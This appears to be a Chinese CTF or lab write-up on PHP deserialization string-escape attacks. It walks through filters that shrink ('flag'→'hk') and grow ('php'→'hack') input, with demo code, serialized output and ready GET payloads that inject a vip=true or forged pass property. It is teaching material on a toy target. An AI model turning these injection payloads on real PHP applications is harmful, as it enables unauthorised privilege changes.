字符串逃逸————减少
这题主要是利用hk会替代flag,导致字符串逃逸,并且只能传入user和pass的值,关键在于要将vip改为True
变量的值是从哪到哪由前面的变量长度这一数字决定
这样就可以将vip的反序列化传入,从而定义vip的值
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param="flagflagflagflagflagflagflagflagflagflag";
$pass='1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
$a=serialize(new test($param,$pass));
echo $a;
//O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}
$profile=filter($a);
echo $profile;
//{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}
get传参输入
user=flagflagflagflagflagflagflagflagflagflag
pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
字符串逃逸————增多
php替换成hack,属于增多类型,能将后面的命令挤出去
简单来说就是 s:12:"phpphpphp";x"
s:12:"hackhackhack";x"
这样就把想定义的pass给挤出去,构造了一个正确的序列化结果
O:4:"test":2:{s:4:"user";s:?:"php.....php";s:4:"pass";s:8:"escaping";}
设有x个php,加粗部分长度为29,共 3*x+29
O:4:"test":2:{s:4:"user";s:?:"hack.....hack";s:4:"pass";s:8:"escaping";}
则共有x个hack,长度为4*x
4*x=3*x+29
x=29
所以需要29个php,才能把后面的挤出去
param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
代码验证
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$p='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
$param=serialize(new test($p));
echo $param;
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
$profile=filter($param);
echo $profile;
//O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
?>
get传参
查看源代码